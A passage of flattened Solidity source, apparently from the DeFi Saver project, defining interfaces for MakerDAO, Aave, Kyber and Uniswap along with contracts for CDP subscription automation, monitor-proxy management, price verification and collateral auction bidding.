function deal(uint id) virtual external;
}
abstract contract GasTokenInterface is ERC20 {
function free(uint256 value) public virtual returns (bool success);
function freeUpTo(uint256 value) public virtual returns (uint256 freed);
function freeFrom(address from, uint256 value) public virtual returns (bool success);
function freeFromUpTo(address from, uint256 value) public virtual returns (uint256 freed);
}
abstract contract Gem {
function dec() virtual public returns (uint);
function gem() virtual public returns (Gem);
function join(address, uint) virtual public payable;
function exit(address, uint) virtual public;
function approve(address, uint) virtual public;
function transfer(address, uint) virtual public returns (bool);
function transferFrom(address, address, uint) virtual public returns (bool);
function deposit() virtual public payable;
function withdraw(uint) virtual public;
function allowance(address, address) virtual public returns (uint);
}
abstract contract GetCdps {
function getCdpsAsc(address manager, address guy) external view virtual returns (uint[] memory ids, address[] memory urns, bytes32[] memory ilks);
function getCdpsDesc(address manager, address guy) external view virtual returns (uint[] memory ids, address[] memory urns, bytes32[] memory ilks);
}
abstract contract IAToken {
function redeem(uint256 _amount) external virtual;
}
abstract contract IAaveSubscription {
function subscribe(uint128 _minRatio, uint128 _maxRatio, uint128 _optimalBoost, uint128 _optimalRepay, bool _boostEnabled) public virtual;
function unsubscribe() public virtual;
}
abstract contract ICompoundSubscription {
function subscribe(uint128 _minRatio, uint128 _maxRatio, uint128 _optimalBoost, uint128 _optimalRepay, bool _boostEnabled) public virtual;
function unsubscribe() public virtual;
}
abstract contract ILendingPool {
function flashLoan( address payable _receiver, address _reserve, uint _amount, bytes calldata _params) external virtual;
function deposit(address _reserve, uint256 _amount, uint16 _referralCode) external virtual payable;
function setUserUseReserveAsCollateral(address _reserve, bool _useAsCollateral) external virtual;
function borrow(address _reserve, uint256 _amount, uint256 _interestRateMode, uint16 _referralCode) external virtual;
function repay( address _reserve, uint256 _amount, address payable _onBehalfOf) external virtual payable;
function swapBorrowRateMode(address _reserve) external virtual;
function getReserves() external virtual view returns(address[] memory);
/// @param _reserve underlying token address
function getReserveData(address _reserve)
external virtual
view
returns (
uint256 totalLiquidity, // reserve total liquidity
uint256 availableLiquidity, // reserve available liquidity for borrowing
uint256 totalBorrowsStable, // total amount of outstanding borrows at Stable rate
uint256 totalBorrowsVariable, // total amount of outstanding borrows at Variable rate
uint256 liquidityRate, // current deposit APY of the reserve for depositors, in Ray units.
uint256 variableBorrowRate, // current variable rate APY of the reserve pool, in Ray units.
uint256 stableBorrowRate, // current stable rate APY of the reserve pool, in Ray units.
uint256 averageStableBorrowRate, // current average stable borrow rate
uint256 utilizationRate, // expressed as total borrows/total liquidity.
uint256 liquidityIndex, // cumulative liquidity index
uint256 variableBorrowIndex, // cumulative variable borrow index
address aTokenAddress, // aTokens contract address for the specific _reserve
uint40 lastUpdateTimestamp // timestamp of the last update of reserve data
);
/// @param _user users address
function getUserAccountData(address _user)
external virtual
view
returns (
uint256 totalLiquidityETH, // user aggregated deposits across all the reserves. In Wei
uint256 totalCollateralETH, // user aggregated collateral across all the reserves. In Wei
uint256 totalBorrowsETH, // user aggregated outstanding borrows across all the reserves. In Wei
uint256 totalFeesETH, // user aggregated current outstanding fees in ETH. In Wei
uint256 availableBorrowsETH, // user available amount to borrow in ETH
uint256 currentLiquidationThreshold, // user current average liquidation threshold across all the collaterals deposited
uint256 ltv, // user average Loan-to-Value between all the collaterals
uint256 healthFactor // user current Health Factor
);
/// @param _reserve underlying token address
/// @param _user users address
function getUserReserveData(address _reserve, address _user)
external virtual
view
returns (
uint256 currentATokenBalance, // user current reserve aToken balance
uint256 currentBorrowBalance, // user current reserve outstanding borrow balance
uint256 principalBorrowBalance, // user balance of borrowed asset
uint256 borrowRateMode, // user borrow rate mode either Stable or Variable
uint256 borrowRate, // user current borrow rate APY
uint256 liquidityRate, // user current earn rate on _reserve
uint256 originationFee, // user outstanding loan origination fee
uint256 variableBorrowIndex, // user variable cumulative index
uint256 lastUpdateTimestamp, // Timestamp of the last data update
bool usageAsCollateralEnabled // Whether the user's current reserve is enabled as a collateral
);
function getReserveConfigurationData(address _reserve)
external virtual
view
returns (
uint256 ltv,
uint256 liquidationThreshold,
uint256 liquidationBonus,
address rateStrategyAddress,
bool usageAsCollateralEnabled,
bool borrowingEnabled,
bool stableBorrowRateEnabled,
bool isActive
);
// ------------------ LendingPoolCoreData ------------------------
function getReserveATokenAddress(address _reserve) public virtual view returns (address);
function getReserveConfiguration(address _reserve)
external virtual
view
returns (uint256, uint256, uint256, bool);
function getUserUnderlyingAssetBalance(address _reserve, address _user)
public virtual
view
returns (uint256);
function getReserveCurrentLiquidityRate(address _reserve)
public virtual
view
returns (uint256);
function getReserveCurrentVariableBorrowRate(address _reserve)
public virtual
view
returns (uint256);
function getReserveTotalLiquidity(address _reserve)
public virtual
view
returns (uint256);
function getReserveAvailableLiquidity(address _reserve)
public virtual
view
returns (uint256);
function getReserveTotalBorrowsVariable(address _reserve)
public virtual
view
returns (uint256);
// ---------------- LendingPoolDataProvider ---------------------
function calculateUserGlobalData(address _user)
public virtual
view
returns (
uint256 totalLiquidityBalanceETH,
uint256 totalCollateralBalanceETH,
uint256 totalBorrowBalanceETH,
uint256 totalFeesETH,
uint256 currentLtv,
uint256 currentLiquidationThreshold,
uint256 healthFactor,
bool healthFactorBelowThreshold
);
}
abstract contract ILendingPoolAddressesProvider {
function getLendingPool() public virtual view returns (address);
function getLendingPoolCore() public virtual view returns (address payable);
function getLendingPoolConfigurator() public virtual view returns (address);
function getLendingPoolDataProvider() public virtual view returns (address);
function getLendingPoolParametersProvider() public virtual view returns (address);
function getTokenDistributor() public virtual view returns (address);
function getFeeProvider() public virtual view returns (address);
function getLendingPoolLiquidationManager() public virtual view returns (address);
function getLendingPoolManager() public virtual view returns (address);
function getPriceOracle() public virtual view returns (address);
function getLendingRateOracle() public virtual view returns (address);
}
abstract contract ILoanShifter {
function getLoanAmount(uint, address) public view virtual returns(uint);
function getUnderlyingAsset(address _addr) public view virtual returns (address);
}
abstract contract IPriceOracleGetterAave {
function getAssetPrice(address _asset) external virtual view returns (uint256);
function getAssetsPrices(address[] calldata _assets) external virtual view returns(uint256[] memory);
function getSourceOfAsset(address _asset) external virtual view returns(address);
function getFallbackOracle() external virtual view returns(address);
}
abstract contract ITokenInterface is ERC20 {
function assetBalanceOf(address _owner) public virtual view returns (uint256);
function mint(address receiver, uint256 depositAmount) external virtual returns (uint256 mintAmount);
function burn(address receiver, uint256 burnAmount) external virtual returns (uint256 loanAmountPaid);
function tokenPrice() public virtual view returns (uint256 price);
}
abstract contract Join {
bytes32 public ilk;
function dec() virtual public view returns (uint);
function gem() virtual public view returns (Gem);
function join(address, uint) virtual public payable;
function exit(address, uint) virtual public;
}
abstract contract Jug {
struct Ilk {
uint256 duty;
uint256 rho;
}
mapping (bytes32 => Ilk) public ilks;
function drip(bytes32) public virtual returns (uint);
}
abstract contract KyberNetworkProxyInterface {
function maxGasPrice() external virtual view returns (uint256);
function getUserCapInWei(address user) external virtual view returns (uint256);
function getUserCapInTokenWei(address user, ERC20 token) external virtual view returns (uint256);
function enabled() external virtual view returns (bool);
function info(bytes32 id) external virtual view returns (uint256);
function getExpectedRate(ERC20 src, ERC20 dest, uint256 srcQty)
public virtual
view
returns (uint256 expectedRate, uint256 slippageRate);
function tradeWithHint(
ERC20 src,
uint256 srcAmount,
ERC20 dest,
address destAddress,
uint256 maxDestAmount,
uint256 minConversionRate,
address walletId,
bytes memory hint
) public virtual payable returns (uint256);
function trade(
ERC20 src,
uint256 srcAmount,
ERC20 dest,
address destAddress,
uint256 maxDestAmount,
uint256 minConversionRate,
address walletId
) public virtual payable returns (uint256);
function swapEtherToToken(ERC20 token, uint256 minConversionRate)
external virtual
payable
returns (uint256);
function swapTokenToEther(ERC20 token, uint256 tokenQty, uint256 minRate)
external virtual
payable
returns (uint256);
function swapTokenToToken(ERC20 src, uint256 srcAmount, ERC20 dest, uint256 minConversionRate)
public virtual
returns (uint256);
}
abstract contract Manager {
function last(address) virtual public returns (uint);
function cdpCan(address, uint, address) virtual public view returns (uint);
function ilks(uint) virtual public view returns (bytes32);
function owns(uint) virtual public view returns (address);
function urns(uint) virtual public view returns (address);
function vat() virtual public view returns (address);
function open(bytes32, address) virtual public returns (uint);
function give(uint, address) virtual public;
function cdpAllow(uint, address, uint) virtual public;
function urnAllow(address, uint) virtual public;
function frob(uint, int, int) virtual public;
function flux(uint, address, uint) virtual public;
function move(uint, address, uint) virtual public;
function exit(address, uint, address, uint) virtual public;
function quit(uint, address) virtual public;
function enter(address, uint) virtual public;
function shift(uint, uint) virtual public;
}
abstract contract OasisInterface {
function getBuyAmount(address tokenToBuy, address tokenToPay, uint256 amountToPay)
external
virtual
view
returns (uint256 amountBought);
function getPayAmount(address tokenToPay, address tokenToBuy, uint256 amountToBuy)
public virtual
view
returns (uint256 amountPaid);
function sellAllAmount(address pay_gem, uint256 pay_amt, address buy_gem, uint256 min_fill_amount)
public virtual
returns (uint256 fill_amt);
function buyAllAmount(address buy_gem, uint256 buy_amt, address pay_gem, uint256 max_fill_amount)
public virtual
returns (uint256 fill_amt);
}
abstract contract Osm {
mapping(address => uint256) public bud;
function peep() external view virtual returns (bytes32, bool);
}
abstract contract OsmMom {
mapping (bytes32 => address) public osms;
}
abstract contract OtcInterface {
function buyAllAmount(address, uint256, address, uint256) public virtual returns (uint256);
function getPayAmount(address, address, uint256) public virtual view returns (uint256);
function getBuyAmount(address, address, uint256) public virtual view returns (uint256);
}
abstract contract PipInterface {
function read() public virtual returns (bytes32);
}
abstract contract ProxyRegistryInterface {
function proxies(address _owner) public virtual view returns (address);
function build(address) public virtual returns (address);
}
abstract contract SaverExchangeInterface {
function getBestPrice(
uint256 _amount,
address _srcToken,
address _destToken,
uint256 _exchangeType
) public view virtual returns (address, uint256);
}
abstract contract Spotter {
struct Ilk {
PipInterface pip;
uint256 mat;
}
mapping (bytes32 => Ilk) public ilks;
uint256 public par;
}
abstract contract TokenInterface {
function allowance(address, address) public virtual returns (uint256);
function balanceOf(address) public virtual returns (uint256);
function approve(address, uint256) public virtual;
function transfer(address, uint256) public virtual returns (bool);
function transferFrom(address, address, uint256) public virtual returns (bool);
function deposit() public virtual payable;
function withdraw(uint256) public virtual;
}
abstract contract UniswapExchangeInterface {
function getEthToTokenInputPrice(uint256 eth_sold)
external virtual
view
returns (uint256 tokens_bought);
function getEthToTokenOutputPrice(uint256 tokens_bought)
external virtual
view
returns (uint256 eth_sold);
function getTokenToEthInputPrice(uint256 tokens_sold)
external virtual
view
returns (uint256 eth_bought);
function getTokenToEthOutputPrice(uint256 eth_bought)
external virtual
view
returns (uint256 tokens_sold);
function tokenToEthTransferInput(
uint256 tokens_sold,
uint256 min_eth,
uint256 deadline,
address recipient
) external virtual returns (uint256 eth_bought);
function ethToTokenTransferInput(uint256 min_tokens, uint256 deadline, address recipient)
external virtual
payable
returns (uint256 tokens_bought);
function tokenToTokenTransferInput(
uint256 tokens_sold,
uint256 min_tokens_bought,
uint256 min_eth_bought,
uint256 deadline,
address recipient,
address token_addr
) external virtual returns (uint256 tokens_bought);
function ethToTokenTransferOutput(
uint256 tokens_bought,
uint256 deadline,
address recipient
) external virtual payable returns (uint256 eth_sold);
function tokenToEthTransferOutput(
uint256 eth_bought,
uint256 max_tokens,
uint256 deadline,
address recipient
) external virtual returns (uint256 tokens_sold);
function tokenToTokenTransferOutput(
uint256 tokens_bought,
uint256 max_tokens_sold,
uint256 max_eth_sold,
uint256 deadline,
address recipient,
address token_addr
) external virtual returns (uint256 tokens_sold);
}
abstract contract UniswapFactoryInterface {
function getExchange(address token) external view virtual returns (address exchange);
}
abstract contract UniswapRouterInterface {
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
virtual
returns (uint[] memory amounts);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external virtual returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external virtual
returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external virtual returns (uint[] memory amounts);
function getAmountsOut(uint amountIn, address[] memory path) public virtual view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] memory path) public virtual view returns (uint[] memory amounts);
}
abstract contract Vat {
struct Urn {
uint256 ink; // Locked Collateral [wad]
uint256 art; // Normalised Debt [wad]
}
struct Ilk {
uint256 Art; // Total Normalised Debt [wad]
uint256 rate; // Accumulated Rates [ray]
uint256 spot; // Price with Safety Margin [ray]
uint256 line; // Debt Ceiling [rad]
uint256 dust; // Urn Debt Floor [rad]
}
mapping (bytes32 => mapping (address => Urn )) public urns;
mapping (bytes32 => Ilk) public ilks;
mapping (bytes32 => mapping (address => uint)) public gem; // [wad]
function can(address, address) virtual public view returns (uint);
function dai(address) virtual public view returns (uint);
function frob(bytes32, address, address, address, int, int) virtual public;
function hope(address) virtual public;
function move(address, address, uint) virtual public;
function fork(bytes32, address, address, int, int) virtual public;
}
contract DefisaverLogger {
event LogEvent(
address indexed contractAddress,
address indexed caller,
string indexed logName,
bytes data
);
// solhint-disable-next-line func-name-mixedcase
function Log(address _contract, address _caller, string memory _logName, bytes memory _data)
public
{
emit LogEvent(_contract, _caller, _logName, _data);
}
}
contract MCDMonitorProxyV2 is AdminAuth {
uint public CHANGE_PERIOD;
address public monitor;
address public newMonitor;
address public lastMonitor;
uint public changeRequestedTimestamp;
mapping(address => bool) public allowed;
event MonitorChangeInitiated(address oldMonitor, address newMonitor);
event MonitorChangeCanceled();
event MonitorChangeFinished(address monitor);
event MonitorChangeReverted(address monitor);
// if someone who is allowed become malicious, owner can't be changed
modifier onlyAllowed() {
require(allowed[msg.sender] || msg.sender == owner);
_;
}
modifier onlyMonitor() {
require (msg.sender == monitor);
_;
}
constructor(uint _changePeriod) public {
CHANGE_PERIOD = _changePeriod * 1 days;
}
/// @notice Only monitor contract is able to call execute on users proxy
/// @param _owner Address of cdp owner (users DSProxy address)
/// @param _saverProxy Address of MCDSaverProxy
/// @param _data Data to send to MCDSaverProxy
function callExecute(address _owner, address _saverProxy, bytes memory _data) public payable onlyMonitor {
// execute reverts if calling specific method fails
DSProxyInterface(_owner).execute{value: msg.value}(_saverProxy, _data);
// return if anything left
if (address(this).balance > 0) {
msg.sender.transfer(address(this).balance);
}
}
/// @notice Allowed users are able to set Monitor contract without any waiting period first time
/// @param _monitor Address of Monitor contract
function setMonitor(address _monitor) public onlyAllowed {
require(monitor == address(0));
monitor = _monitor;
}
/// @notice Allowed users are able to start procedure for changing monitor
/// @dev after CHANGE_PERIOD needs to call confirmNewMonitor to actually make a change
/// @param _newMonitor address of new monitor
function changeMonitor(address _newMonitor) public onlyAllowed {
require(changeRequestedTimestamp == 0);
changeRequestedTimestamp = now;
lastMonitor = monitor;
newMonitor = _newMonitor;
emit MonitorChangeInitiated(lastMonitor, newMonitor);
}
/// @notice At any point allowed users are able to cancel monitor change
function cancelMonitorChange() public onlyAllowed {
require(changeRequestedTimestamp > 0);
changeRequestedTimestamp = 0;
newMonitor = address(0);
emit MonitorChangeCanceled();
}
/// @notice Anyone is able to confirm new monitor after CHANGE_PERIOD if process is started
function confirmNewMonitor() public onlyAllowed {
require((changeRequestedTimestamp + CHANGE_PERIOD) < now);
require(changeRequestedTimestamp != 0);
require(newMonitor != address(0));
monitor = newMonitor;
newMonitor = address(0);
changeRequestedTimestamp = 0;
emit MonitorChangeFinished(monitor);
}
/// @notice Its possible to revert monitor to last used monitor
function revertMonitor() public onlyAllowed {
require(lastMonitor != address(0));
monitor = lastMonitor;
emit MonitorChangeReverted(monitor);
}
/// @notice Allowed users are able to add new allowed user
/// @param _user Address of user that will be allowed
function addAllowed(address _user) public onlyAllowed {
allowed[_user] = true;
}
/// @notice Allowed users are able to remove allowed user
/// @dev owner is always allowed even if someone tries to remove it from allowed mapping
/// @param _user Address of allowed user
function removeAllowed(address _user) public onlyAllowed {
allowed[_user] = false;
}
function setChangePeriod(uint _periodInDays) public onlyAllowed {
require(_periodInDays * 1 days > CHANGE_PERIOD);
CHANGE_PERIOD = _periodInDays * 1 days;
}
}
contract MCDPriceVerifier is AdminAuth {
OsmMom public osmMom = OsmMom(0x76416A4d5190d071bfed309861527431304aA14f);
Manager public manager = Manager(0x5ef30b9986345249bc32d8928B7ee64DE9435E39);
mapping(address => bool) public authorized;
function verifyVaultNextPrice(uint _nextPrice, uint _cdpId) public view returns(bool) {
require(authorized[msg.sender]);
bytes32 ilk = manager.ilks(_cdpId);
return verifyNextPrice(_nextPrice, ilk);
}
function verifyNextPrice(uint _nextPrice, bytes32 _ilk) public view returns(bool) {
require(authorized[msg.sender]);
address osmAddress = osmMom.osms(_ilk);
uint whitelisted = Osm(osmAddress).bud(address(this));
// If contracts doesn't have access return true
if (whitelisted != 1) return true;
(bytes32 price, bool has) = Osm(osmAddress).peep();
return has ? uint(price) == _nextPrice : false;
}
function setAuthorized(address _address, bool _allowed) public onlyOwner {
authorized[_address] = _allowed;
}
}
abstract contract StaticV2 {
enum Method { Boost, Repay }
struct CdpHolder {
uint128 minRatio;
uint128 maxRatio;
uint128 optimalRatioBoost;
uint128 optimalRatioRepay;
address owner;
uint cdpId;
bool boostEnabled;
bool nextPriceEnabled;
}
struct SubPosition {
uint arrPos;
bool subscribed;
}
}
contract SubscriptionsInterfaceV2 {
function subscribe(uint _cdpId, uint128 _minRatio, uint128 _maxRatio, uint128 _optimalBoost, uint128 _optimalRepay, bool _boostEnabled, bool _nextPriceEnabled) external {}
function unsubscribe(uint _cdpId) external {}
}
contract SubscriptionsProxyV2 {
address public constant MONITOR_PROXY_ADDRESS = 0x7456f4218874eAe1aF8B83a64848A1B89fEB7d7C;
address public constant OLD_SUBSCRIPTION = 0x83152CAA0d344a2Fd428769529e2d490A88f4393;
address public constant FACTORY_ADDRESS = 0x5a15566417e6C1c9546523066500bDDBc53F88C7;
function migrate(uint _cdpId, uint128 _minRatio, uint128 _maxRatio, uint128 _optimalRatioBoost, uint128 _optimalRatioRepay, bool _boostEnabled, bool _nextPriceEnabled, address _subscriptions) public {
SubscriptionsInterfaceV2(OLD_SUBSCRIPTION).unsubscribe(_cdpId);
subscribe(_cdpId, _minRatio, _maxRatio, _optimalRatioBoost, _optimalRatioRepay, _boostEnabled, _nextPriceEnabled, _subscriptions);
}
function subscribe(uint _cdpId, uint128 _minRatio, uint128 _maxRatio, uint128 _optimalRatioBoost, uint128 _optimalRatioRepay, bool _boostEnabled, bool _nextPriceEnabled, address _subscriptions) public {
address currAuthority = address(DSAuth(address(this)).authority());
DSGuard guard = DSGuard(currAuthority);
if (currAuthority == address(0)) {
guard = DSGuardFactory(FACTORY_ADDRESS).newGuard();
DSAuth(address(this)).setAuthority(DSAuthority(address(guard)));
}
guard.permit(MONITOR_PROXY_ADDRESS, address(this), bytes4(keccak256("execute(address,bytes)")));
SubscriptionsInterfaceV2(_subscriptions).subscribe(_cdpId, _minRatio, _maxRatio, _optimalRatioBoost, _optimalRatioRepay, _boostEnabled, _nextPriceEnabled);
}
function update(uint _cdpId, uint128 _minRatio, uint128 _maxRatio, uint128 _optimalRatioBoost, uint128 _optimalRatioRepay, bool _boostEnabled, bool _nextPriceEnabled, address _subscriptions) public {
SubscriptionsInterfaceV2(_subscriptions).subscribe(_cdpId, _minRatio, _maxRatio, _optimalRatioBoost, _optimalRatioRepay, _boostEnabled, _nextPriceEnabled);
}
function unsubscribe(uint _cdpId, address _subscriptions) public {
SubscriptionsInterfaceV2(_subscriptions).unsubscribe(_cdpId);
}
}
contract SubscriptionsV2 is AdminAuth, StaticV2 {
bytes32 internal constant ETH_ILK = 0x4554482d41000000000000000000000000000000000000000000000000000000;
bytes32 internal constant BAT_ILK = 0x4241542d41000000000000000000000000000000000000000000000000000000;
address public constant MANAGER_ADDRESS = 0x5ef30b9986345249bc32d8928B7ee64DE9435E39;
address public constant VAT_ADDRESS = 0x35D1b3F3D7966A1DFe207aa4514C12a259A0492B;
address public constant SPOTTER_ADDRESS = 0x65C79fcB50Ca1594B025960e539eD7A9a6D434A3;
CdpHolder[] public subscribers;
mapping (uint => SubPosition) public subscribersPos;
mapping (bytes32 => uint) public minLimits;
uint public changeIndex;
Manager public manager = Manager(MANAGER_ADDRESS);
Vat public vat = Vat(VAT_ADDRESS);
Spotter public spotter = Spotter(SPOTTER_ADDRESS);
MCDSaverProxy public saverProxy;
event Subscribed(address indexed owner, uint cdpId);
event Unsubscribed(address indexed owner, uint cdpId);
event Updated(address indexed owner, uint cdpId);
event ParamUpdates(address indexed owner, uint cdpId, uint128, uint128, uint128, uint128, bool boostEnabled);
/// @param _saverProxy Address of the MCDSaverProxy contract
constructor(address _saverProxy) public {
saverProxy = MCDSaverProxy(payable(_saverProxy));
minLimits[ETH_ILK] = 1700000000000000000;
minLimits[BAT_ILK] = 1700000000000000000;
}
/// @dev Called by the DSProxy contract which owns the CDP
/// @notice Adds the users CDP in the list of subscriptions so it can be monitored
/// @param _cdpId Id of the CDP
/// @param _minRatio Minimum ratio below which repay is triggered
/// @param _maxRatio Maximum ratio after which boost is triggered
/// @param _optimalBoost Ratio amount which boost should target
/// @param _optimalRepay Ratio amount which repay should target
/// @param _boostEnabled Boolean determing if boost is enabled
/// @param _nextPriceEnabled Boolean determing if we can use nextPrice for this cdp
function subscribe(uint _cdpId, uint128 _minRatio, uint128 _maxRatio, uint128 _optimalBoost, uint128 _optimalRepay, bool _boostEnabled, bool _nextPriceEnabled) external {
require(isOwner(msg.sender, _cdpId), "Must be called by Cdp owner");
// if boost is not enabled, set max ratio to max uint
uint128 localMaxRatio = _boostEnabled ? _maxRatio : uint128(-1);
require(checkParams(manager.ilks(_cdpId), _minRatio, localMaxRatio), "Must be correct params");
SubPosition storage subInfo = subscribersPos[_cdpId];
CdpHolder memory subscription = CdpHolder({
minRatio: _minRatio,
maxRatio: localMaxRatio,
optimalRatioBoost: _optimalBoost,
optimalRatioRepay: _optimalRepay,
owner: msg.sender,
cdpId: _cdpId,
boostEnabled: _boostEnabled,
nextPriceEnabled: _nextPriceEnabled
});
changeIndex++;
if (subInfo.subscribed) {
subscribers[subInfo.arrPos] = subscription;
emit Updated(msg.sender, _cdpId);
emit ParamUpdates(msg.sender, _cdpId, _minRatio, localMaxRatio, _optimalBoost, _optimalRepay, _boostEnabled);
} else {
subscribers.push(subscription);
subInfo.arrPos = subscribers.length - 1;
subInfo.subscribed = true;
emit Subscribed(msg.sender, _cdpId);
}
}
/// @notice Called by the users DSProxy
/// @dev Owner who subscribed cancels his subscription
function unsubscribe(uint _cdpId) external {
require(isOwner(msg.sender, _cdpId), "Must be called by Cdp owner");
_unsubscribe(_cdpId);
}
/// @dev Checks if the _owner is the owner of the CDP
function isOwner(address _owner, uint _cdpId) internal view returns (bool) {
return getOwner(_cdpId) == _owner;
}
/// @dev Checks limit for minimum ratio and if minRatio is bigger than max
function checkParams(bytes32 _ilk, uint128 _minRatio, uint128 _maxRatio) internal view returns (bool) {
if (_minRatio < minLimits[_ilk]) {
return false;
}
if (_minRatio > _maxRatio) {
return false;
}
return true;
}
/// @dev Internal method to remove a subscriber from the list
function _unsubscribe(uint _cdpId) internal {
require(subscribers.length > 0, "Must have subscribers in the list");
SubPosition storage subInfo = subscribersPos[_cdpId];
require(subInfo.subscribed, "Must first be subscribed");
uint lastCdpId = subscribers[subscribers.length - 1].cdpId;
SubPosition storage subInfo2 = subscribersPos[lastCdpId];
subInfo2.arrPos = subInfo.arrPos;
subscribers[subInfo.arrPos] = subscribers[subscribers.length - 1];
subscribers.pop();
changeIndex++;
subInfo.subscribed = false;
subInfo.arrPos = 0;
emit Unsubscribed(msg.sender, _cdpId);
}
/// @notice Returns an address that owns the CDP
/// @param _cdpId Id of the CDP
function getOwner(uint _cdpId) public view returns(address) {
return manager.owns(_cdpId);
}
/// @notice Helper method for the front to get all the info about the subscribed CDP
function getSubscribedInfo(uint _cdpId) public view returns(bool, uint128, uint128, uint128, uint128, address, uint coll, uint debt) {
SubPosition memory subInfo = subscribersPos[_cdpId];
if (!subInfo.subscribed) return (false, 0, 0, 0, 0, address(0), 0, 0);
(coll, debt) = saverProxy.getCdpInfo(manager, _cdpId, manager.ilks(_cdpId));
CdpHolder memory subscriber = subscribers[subInfo.arrPos];
return (
true,
subscriber.minRatio,
subscriber.maxRatio,
subscriber.optimalRatioRepay,
subscriber.optimalRatioBoost,
subscriber.owner,
coll,
debt
);
}
function getCdpHolder(uint _cdpId) public view returns (bool subscribed, CdpHolder memory) {
SubPosition memory subInfo = subscribersPos[_cdpId];
if (!subInfo.subscribed) return (false, CdpHolder(0, 0, 0, 0, address(0), 0, false, false));
CdpHolder memory subscriber = subscribers[subInfo.arrPos];
return (true, subscriber);
}
/// @notice Helper method for the front to get the information about the ilk of a CDP
function getIlkInfo(bytes32 _ilk, uint _cdpId) public view returns(bytes32 ilk, uint art, uint rate, uint spot, uint line, uint dust, uint mat, uint par) {
// send either ilk or cdpId
if (_ilk == bytes32(0)) {
_ilk = manager.ilks(_cdpId);
}
ilk = _ilk;
(,mat) = spotter.ilks(_ilk);
par = spotter.par();
(art, rate, spot, line, dust) = vat.ilks(_ilk);
}
/// @notice Helper method to return all the subscribed CDPs
function getSubscribers() public view returns (CdpHolder[] memory) {
return subscribers;
}
/// @notice Helper method to return all the subscribed CDPs
function getSubscribersByPage(uint _page, uint _perPage) public view returns (CdpHolder[] memory) {
CdpHolder[] memory holders = new CdpHolder[](_perPage);
uint start = _page * _perPage;
uint end = start + _perPage;
uint count = 0;
for (uint i=start; i<end; i++) {
holders[count] = subscribers[i];
count++;
}
return holders;
}
////////////// ADMIN METHODS ///////////////////
/// @notice Admin function to change a min. limit for an asset
function changeMinRatios(bytes32 _ilk, uint _newRatio) public onlyOwner {
minLimits[_ilk] = _newRatio;
}
/// @notice Admin function to unsubscribe a CDP
function unsubscribeByAdmin(uint _cdpId) public onlyOwner {
SubPosition storage subInfo = subscribersPos[_cdpId];
if (subInfo.subscribed) {
_unsubscribe(_cdpId);
}
}
}
contract BidProxy {
address public constant DAI_JOIN = 0x9759A6Ac90977b93B58547b4A71c78317f391A28;
address public constant VAT_ADDRESS = 0x35D1b3F3D7966A1DFe207aa4514C12a259A0492B;
address public constant DAI_ADDRESS = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
function daiBid(uint _bidId, uint _amount, address _flipper) public {
uint tendAmount = _amount * (10 ** 27);
joinDai(_amount);
(, uint lot, , , , , , ) = Flipper(_flipper).bids(_bidId);
Vat(VAT_ADDRESS).hope(_flipper);
Flipper(_flipper).tend(_bidId, lot, tendAmount);
}
function collateralBid(uint _bidId, uint _amount, address _flipper) public {
(uint bid, , , , , , , ) = Flipper(_flipper).bids(_bidId);
joinDai(bid / (10**27));
Vat(VAT_ADDRESS).hope(_flipper);
Flipper(_flipper).dent(_bidId, _amount, bid);
}
function closeBid(uint _bidId, address _flipper, address _joinAddr) public {
bytes32 ilk = Join(_joinAddr).ilk();
Flipper(_flipper).deal(_bidId);
uint amount = Vat(VAT_ADDRESS).gem(ilk, address(this)) / (10**27);
Vat(VAT_ADDRESS).hope(_joinAddr);
Gem(_joinAddr).exit(msg.sender, amount);
}
function exitCollateral(address _joinAddr) public {
bytes32 ilk = Join(_joinAddr).ilk();
uint amount = Vat(VAT_ADDRESS).gem(ilk, address(this)) / (10**27);
Vat(VAT_ADDRESS).hope(_joinAddr);
Gem(_joinAddr).exit(msg.sender, amount);
}
function exitDai() public {
uint amount = Vat(VAT_ADDRESS).dai(address(this)) / (10**27);
Vat(VAT_ADDRESS).hope(DAI_JOIN);
Gem(DAI_JOIN).exit(msg.sender, amount);
}
function withdrawToken(address _token) public {
uint balance = ERC20(_token).balanceOf(address(this));
ERC20(_token).transfer(msg.sender, balance);
}
function withdrawEth() public {
uint balance = address(this).balance;
msg.sender.transfer(balance);
}
function joinDai(uint _amount) internal {
uint amountInVat = Vat(VAT_ADDRESS).dai(address(this)) / (10**27);
if (_amount > amountInVat) {
uint amountDiff = (_amount - amountInVat) + 1;
ERC20(DAI_ADDRESS).transferFrom(msg.sender, address(this), amountDiff);
ERC20(DAI_ADDRESS).approve(DAI_JOIN, amountDiff);
Join(DAI_JOIN).join(address(this), amountDiff);
}
}
}
abstract contract IMCDSubscriptions {
function unsubscribe(uint256 _cdpId) external virtual ;
function subscribersPos(uint256 _cdpId) external virtual returns (uint256, bool);
}
abstract contract GemLike {
function approve(address, uint256) public virtual;
function transfer(address, uint256) public virtual;
function transferFrom(address, address, uint256) public virtual;
function deposit() public virtual payable;
function withdraw(uint256) public virtual;
}
abstract contract ManagerLike {
function cdpCan(address, uint256, address) public virtual view returns (uint256);
function ilks(uint256) public virtual view returns (bytes32);
function owns(uint256) public virtual view returns (address);
function urns(uint256) public virtual view returns (address);
function vat() public virtual view returns (address);
function open(bytes32, address) public virtual returns (uint256);
function give(uint256, address) public virtual;
function cdpAllow(uint256, address, uint256) public virtual;
function urnAllow(address, uint256) public virtual;
function frob(uint256, int256, int256) public virtual;
function flux(uint256, address, uint256) public virtual;
function move(uint256, address, uint256) public virtual;
function exit(address, uint256, address, uint256) public virtual;
function quit(uint256, address) public virtual;
function enter(address, uint256) public virtual;
function shift(uint256, uint256) public virtual;
}
abstract contract VatLike {
function can(address, address) public virtual view returns (uint256);
function ilks(bytes32) public virtual view returns (uint256, uint256, uint256, uint256, uint256);
function dai(address) public virtual view returns (uint256);
function urns(bytes32, address) public virtual view returns (uint256, uint256);
function frob(bytes32, address, address, address, int256, int256) public virtual;
function hope(address) public virtual;
function move(address, address, uint256) public virtual;
}
abstract contract GemJoinLike {
function dec() public virtual returns (uint256);
function gem() public virtual returns (GemLike);
